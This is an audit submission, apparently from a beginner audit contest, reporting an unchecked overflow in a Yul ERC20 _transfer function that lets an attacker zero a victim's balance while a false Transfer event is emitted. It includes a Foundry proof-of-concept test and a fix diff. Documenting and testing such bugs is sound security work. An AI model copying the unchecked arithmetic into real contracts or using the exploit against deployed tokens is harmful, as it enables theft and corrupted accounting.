Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

[H-2] Recipient Balance Overflow, Erases Victim Funds and Falsifies Events.

Author Revealed upon completion

Root + Impact

Description

_transfer in ERC20Internals.sol loads the recipient balance (toAmount) and then stores add(toAmount, value) without bounding the sum.

function _transfer(address from, address to, uint256 value) internal returns (bool success) {
assembly ("memory-safe") {
if iszero(from) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
if iszero(to) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let baseSlot := _balances.slot
mstore(ptr, from)
mstore(add(ptr, 0x20), baseSlot)
let fromSlot := keccak256(ptr, 0x40)
let fromAmount := sload(fromSlot)
mstore(ptr, to)
mstore(add(ptr, 0x20), baseSlot)
let toSlot := keccak256(ptr, 0x40)
let toAmount := sload(toSlot)
if lt(fromAmount, value) {
mstore(0x00, shl(224, 0xe450d38c))
mstore(add(0x00, 4), from)
mstore(add(0x00, 0x24), fromAmount)
mstore(add(0x00, 0x44), value)
revert(0x00, 0x64)
}
sstore(fromSlot, sub(fromAmount, value))
sstore(toSlot, add(toAmount, value))
success := 1
mstore(ptr, value)
log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, from, to)
}
}

Risk

Because the yul add opcode wraps on overflow, any transfer that drives toAmount + value >= 2^256 silently wraps to the modulo result. If the recipient had a non-zero balance, the wrap typically sets their stored balance to zero while emitting a Transfer event that claims the victim was credited with an enormous amount. Attackers can obtain near-type(uint256).max balances through the public mint helper, and then forward those tokens to any target with a dust balance to trigger the overflow.

Impact

An attacker can zero out arbitrary users’ balances, griefing them permanently because the storage slot now holds 0 even though downstream systems saw a gigantic Transfer event. Integrations that rely on Transfer logs for accounting (bridges, indexers, lending markets) are fed false data, enabling theft or incorrect solvency calculations. As soon as a single EOA or contract holds near the uint256 limit (highly likely in this implementation), every other holder can be rugged.

Proof of Concept

  1. Deploy Token from test/Token.sol.

  2. Mint type(uint256).max tokens to attacker A and 1 token to victim V (both balances are permitted because _mint also lacks overflow checks).

  3. Have A call transfer(V, type(uint256).max).

  4. _transfer subtracts the amount from A, but add(1, type(uint256).max) wraps to 0, so V’s balance becomes zero while the Transfer event reports an inbound deposit of type(uint256).max.

This behavior is reproduced and asserted in test/TransferOverflow.t.sol:test_transferRecipientOverflowResetsVictimBalance().

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract TransferOverflowTest is Test {
Token private token;
address public attacker;
address public victim;
function setUp() public {
token = new Token();
attacker = makeAddr("attacker");
victim = makeAddr("victim");
}
function test_transferRecipientOverflowResetsVictimBalance() public {
token.mint(attacker, type(uint256).max);
token.mint(victim, 1);
assertEq(token.balanceOf(attacker), type(uint256).max);
assertEq(token.balanceOf(victim), 1);
vm.prank(attacker);
token.transfer(victim, type(uint256).max);
assertEq(
token.balanceOf(attacker),
0,
"attacker balance should wrap to zero"
);
assertEq(
token.balanceOf(victim),
0,
"victim balance erased due to overflow"
);
}
}

Recommended Mitigation

Before writing the recipient balance, ensure value <= type(uint256).max - toAmount (or revert with ERC20InsufficientBalance). The simplest fix is to move the logic into Solidity so that toAmount + value triggers the built-in checked arithmetic revert on overflow.

@@
- sstore(fromSlot, sub(fromAmount, value))
- sstore(toSlot, add(toAmount, value))
+ sstore(fromSlot, sub(fromAmount, value))
+ if gt(value, sub(not(0), toAmount)) {
+ mstore(0x00, shl(224, 0xe450d38c)) // ERC20InsufficientBalance(address,uint256,uint256)
+ mstore(add(0x00, 4), to)
+ mstore(add(0x00, 0x24), toAmount)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ sstore(toSlot, add(toAmount, value))

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!